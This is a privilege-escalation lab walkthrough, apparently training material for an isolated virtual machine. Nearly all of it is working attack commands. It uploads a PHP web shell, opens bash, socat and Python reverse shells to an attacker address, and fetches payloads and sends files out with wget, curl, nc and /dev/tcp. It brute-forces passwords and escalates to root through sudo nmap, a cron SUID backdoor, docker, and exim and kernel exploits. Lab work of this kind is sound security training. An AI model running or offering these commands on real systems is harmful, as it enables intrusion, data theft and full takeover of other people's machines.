Privilege escalation lab

Part 1: Getting Initial Access

Let's connect to the web interface of the virtual machine and download the classic web shell from the repository https://github.com/artyuum/simple-php-web-shell, the file is index.php, and before sending we will rename it to webshell.php.

Next, we access the shell at http://10.10.0.X/uploads/webshell.php and execute the command id -a to ensure the shell works correctly.

To gain access to the bash shell, we will set a handler on the attacker's side

```
nc -lp 1234
```

Let's connect to it by running the command on the attacked machine via the web shell:

```
bash -c "bash -i >& /dev/tcp/100.100.0.X/1234 0>&1"
```

For ease of work with the attacked system, we organize a reverse shell session with tty support. On the attacker's machine side, we define the TTY parameters:

```
stty -a
```

Let's launch the handler:

```
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

Let's launch the reverse connection using python:

```
/usr/bin/python3 -c 'import socket,os,pty; s=socket.socket();
s.connect(("100.100.0.X",4444)); [os.dup2(s.fileno(),fd) for fd in
(0,1,2)]; pty.spawn("/bin/sh")'
```

Let's set up the terminal using the parameters obtained earlier:

```
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```

If you need to perform data transfer, you can use the following sets of commands:

Working with the clipboard:

```
base64 -w0 <file> | xclip -i
base64 -d file > /dev/shm/file.bin
```

Built-in networking in bash

```
nc -lvnp 80 > file # Attacker
cat /path/file > /dev/tcp/100.100.0.X/80 # Victim
```

Using console web clients

```
$ wget 100.100.0.X:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
$ curl 100.100.0.X:8000/shell.py -o /dev/shm/shell.py
```

SSH

```
$ scp file <username>@<Attacker_IP>:<directory>/<filename>
```

To exfiltrate data:

Built-in networking in bash

```
$ nc -w5 -lvnp 80 < file_to_send.txt # Attacker
$ exec 6< /dev/tcp/100.100.0.X/4444 # Victim
$ cat <&6 > file.txt
```

Using console web clients

```
$ curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
$ python3 -m uploadserver --basic-auth hello:world # Attacker
```

Part 2: Enumeration

Let's perform enumeration using linPEAS:

```
bash /cybered/enumeration/linpeas.sh
```

Let's search for short-lived processes using pspy

```
/cybered/enumeration/pspy64
```

Let's brute force the user user's passwords using sucrack:

```
/cybered/enumeration/sucrack -u user /cybered/enumeration/dict.txt -w32
```

Let's log into the system as user via ssh:

```
ssh user@10.0.2.X
```

Part 3: Privilege escalation

Let's elevate user rights using the credentials in the root user files:

```
cat /root/.irssi/config
```

Let's elevate user rights using an insecure sudo configuration:

```
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
```

Let's elevate user rights by using an insecure crontab configuration:

```
echo "cp /bin/bash /var/tmp/backdoor; chmod u+s /var/tmp/backdoor" >>
/cybered/cron/overwrite.sh
/var/tmp/backdoor -p
```

Let's elevate the user's rights using the docker command:

```
docker run --rm -it --pid=host --privileged alpine sh
# nsenter --target 1 --mount --uts --ipc --net --pid -- bash
```

Let's elevate user privileges using CVE-2016-1531:
Download exploit from https://www.exploit-db.com/exploits/39535, change exim path from `/usr/exim/bin/exim` to `/usr/sbin/exim` and run it on host.

Let's try to run our custom kernel exploit:

```
cd /cybered/kernel/exploitation/CVE-2017-11176/vm
```

Elevate privileges before running VM:

```
su
```

Run virtual machine

```
./start_vm.sh
```

Run exploit:

```
./exploit_no_smep
```